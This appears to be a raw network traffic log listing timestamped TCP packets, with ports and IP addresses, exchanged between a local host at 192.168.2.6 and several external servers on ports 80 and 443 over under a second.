Nov 23, 2024 09:16:54.449385881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.449456930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.449568987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.449568033 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.449588060 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.449660063 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.449666023 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.449687958 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.450421095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.450515032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.450649023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.450690985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.451566935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.451612949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.451639891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.451678038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.452644110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.452680111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.452692032 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.452732086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.452810049 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.452819109 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.453742981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.453809977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.453901052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.453943968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.454910040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.454922915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.454977989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.455976009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.456023932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.456094980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.456146002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.456646919 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.457060099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.457118034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.457154989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.457195997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.457349062 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.457359076 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.457412958 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.457423925 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.458147049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.458216906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.458262920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.458302021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.459188938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.459369898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.464090109 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.464121103 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.464159012 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.464168072 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.464204073 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.467994928 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.468017101 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.468089104 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.468094110 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.468192101 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.471451998 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.471551895 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.471560001 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.471751928 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.471770048 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.481595039 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:54.481621027 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:54.481713057 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:54.481885910 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:54.481899023 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:54.484571934 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.484599113 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.484674931 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.484683990 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.484694004 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.490201950 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.490353107 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.490361929 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.502479076 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.502506971 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.502623081 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.502645969 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.502680063 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.503232956 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.503602982 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.503623962 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.503686905 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.503701925 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.503925085 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.508025885 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.508128881 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.508142948 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.509476900 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.509504080 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.509541988 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.509558916 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.509574890 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.509594917 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.518662930 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.521251917 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.521301985 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.521404028 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.521404028 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.521420956 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.528692007 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.528769016 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.528779030 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.546473980 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.546487093 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.546515942 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.546525955 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.546614885 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.546614885 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.546624899 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.546689987 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.547142029 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.547163010 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.547209024 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.547216892 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.547244072 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.547255993 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.550443888 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.550462008 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.550510883 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.550518990 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.550534010 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.550554037 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.550566912 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.550616026 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.554584980 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.554594040 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.554739952 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.554748058 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.555238008 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.555260897 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.555310011 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.555351019 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.555372000 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.555402040 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.564167023 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.564183950 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.564230919 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.564239979 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.564274073 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.568300962 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.568578005 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.568587065 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.570133924 CET	49885	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:54.570183992 CET	443	49885	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:54.570240974 CET	49885	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:54.570421934 CET	49886	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:54.570453882 CET	443	49886	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:54.570700884 CET	49886	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:54.572714090 CET	49885	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:54.572738886 CET	443	49885	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:54.572911978 CET	49886	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:54.572922945 CET	443	49886	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:54.577888012 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.577912092 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.577964067 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.577975035 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.578010082 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.580559969 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.581430912 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.581510067 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.581516981 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.588462114 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.588479996 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.588530064 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.588669062 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.588677883 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.588737011 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.589227915 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.589262009 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.589298010 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.589306116 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.589332104 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.592104912 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.592180967 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.592189074 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.598037958 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.598073006 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.598166943 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.598174095 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.598206043 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.598275900 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.599272966 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.599303961 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.599360943 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.599369049 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.599446058 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.602000952 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.602075100 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.602082014 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.602608919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.602657080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.602663040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.602700949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.603154898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.603224993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.603229046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.603308916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.604228020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.604273081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.604310989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.604376078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.605355024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.605418921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.605444908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.605484962 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.606452942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.606513023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.606568098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.606609106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.607572079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.607635975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.607702971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.607836008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.608690023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.608702898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.608757019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.608769894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.609796047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.609847069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.609885931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.609926939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.610866070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.610914946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.610970974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.611089945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.611326933 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.611349106 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.611393929 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.611398935 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.611428976 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.611948013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.612016916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.612025976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.612065077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.613054991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.613101006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.613168955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.613208055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.614161968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.614221096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.614265919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.614305973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.615148067 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.615237951 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.615242958 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.615250111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.615284920 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.615294933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.615318060 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.615318060 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.615371943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.615535021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.615804911 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.615819931 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.616359949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.616467953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.616472960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.616508961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.617486954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.617535114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.617595911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.617806911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.618622065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.618664980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.618793011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.618830919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.619677067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.619757891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.619798899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.619832993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.620826960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.620923042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.620938063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.620976925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.621882915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.621923923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.621974945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.622026920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.623011112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.623083115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.623117924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.623157024 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.624070883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.624119043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.624181986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.624224901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.625205040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.625286102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.625323057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.625478983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.626292944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.626333952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.626406908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.626451015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.627394915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.627446890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.627523899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.627604961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.628495932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.628542900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.628567934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.628607035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.629602909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.629651070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.629713058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.629754066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.630916119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.630994081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.631035089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.631200075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.631822109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.631866932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.631932020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.631975889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.632951975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.633003950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.633032084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.633070946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.634027958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.634104013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.634146929 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.634248972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.635112047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.635178089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.635247946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.635284901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.643743992 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.644705057 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.644722939 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.644742966 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.644768953 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.644797087 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.644809008 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.644820929 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.644856930 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.647844076 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.647912025 CET	49861	443	192.168.2.6	23.209.72.25
